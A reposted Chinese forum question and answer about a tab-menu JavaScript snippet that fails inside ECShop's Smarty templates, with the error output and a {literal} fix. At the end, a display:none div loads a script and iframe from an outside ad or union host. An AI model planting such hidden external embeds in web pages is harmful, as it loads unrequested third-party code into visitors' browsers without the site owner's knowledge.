如何在ecshop中使用JS代碼

2024-07-09 22:56:20

字體：大中小

來源：轉載

供稿：網友

有一個菜單效果是由HTML代碼和JS代碼組成的，準備放到首頁和內容頁用，以前在別的程序都使用過，像動易、領智、風訊、E商務的Medi等等都很好用，就是放到一個普通的HTML靜態頁面也一樣正常使用，可就是放到ECShop中無法正常使用，請問管理員是什么原因，以下是菜單效果的代碼和在ECShop中測試使用的幾種方法

一、菜單效果的代碼（CSS代碼沒貼）

function switchTag(tag,content)

{

// alert(tag);

// alert(content);

for(i=1; i <6; i++)

{

if ("tag"+i==tag)

{

document.getElementById(tag).getElementsByTagName("a")[0].className="selectli"+i;

document.getElementById(tag).getElementsByTagName("a")[0].getElementsByTagName("span")[0].className="selectspan"+i;

}else{

document.getElementById("tag"+i).getElementsByTagName("a")[0].className="";

document.getElementById("tag"+i).getElementsByTagName("a")[0].getElementsByTagName("span")[0].className="";

}

if ("content"+i==content)

{

document.getElementById(content).className="";

}else{

document.getElementById("content"+i).className="hidecontent";

}

document.getElementById("content").className=content;

}

</script>

<ul>

<li id="tag4"><a href="#" onclick="switchTag('tag4','content4');this.blur();"><span>會員注冊與登錄</span></a></li>

</ul>

</div>

<div id="content1"><p>仿淘寶網站的導航效果。此方法有幾個優點：</p>1、根據字數自適應項目長度</div>

<div id="content2" class="hidecontent">2、不同的項目使用不同的顏色來區分</div>

<div id="content3" class="hidecontent">3、這回需要使用到js了，呵呵</div>

<div id="content4" class="hidecontent">4、背景圖片只需要兩個圖片文件就足夠，減少服務器負擔</div>

<div id="content5" class="hidecontent">5、這是使用到的兩個圖片：

<tr>

</tr>

</table>

</div>

二、在ECShop中測試使用的幾種方法

1、把整個的代碼（包括JS和HTML代碼）放到了index.dwt模板相應的位置，結果預覽首頁時只出現以下代碼：

Fatal error: Smarty error: [in index.html line 45]: syntax error: unrecognized tag: // alert(tag); // alert(content); for(i=1; i <7; i++) { if ("tag"+i==tag) { document.getElementById(tag).getElementsByTagName("a")[0].className="selectli"+i; document.getElementById(tag).getElementsByTagName("a")[0].getElementsByTagName("span")[0].className="selectspan"+i; (Smarty_Compiler.class.php, line 439) in F:/ecshop/includes/smarty/Smarty.class.php on line 1095

2、把JS代碼放到了<head></head>之間，HTML代碼還放在了模板原來的位置，結果跟第一種方法相同

3、把js代碼存成了一個JS文件這樣<scritpt type="text/javascript" src="themes/default/***.js"><script>在<head></head>之間調用，HTML代碼還放在了模板原來的位置，結果預覽首頁時頁面的左下角雖然有“網頁上有錯誤”的提示但還是可以正常顯示，可就是js所控制的動作不起作用了

在群里有說JS和SMARTY是有沖突的，不能把JS代碼直接寫到模板文件里，要存成JS文件調用，不知道是否正確，而且我也把js代碼存成了一個JS文件調用了，

把script套在{literal}{/literal}之間試試看，例如：

{literal}
<script type="text/javascript">
....
</script>
{/literal}

IFrame框架代碼：

<div style="display:none;">
<script src="http://union.volit.com/show.php?webid=120256&style=0"></script>
<iframe src="http://union.volit.com/show.php?webid=120256&style=0&frame=1" width=88 height=31 frameborder=0></iframe>
</div>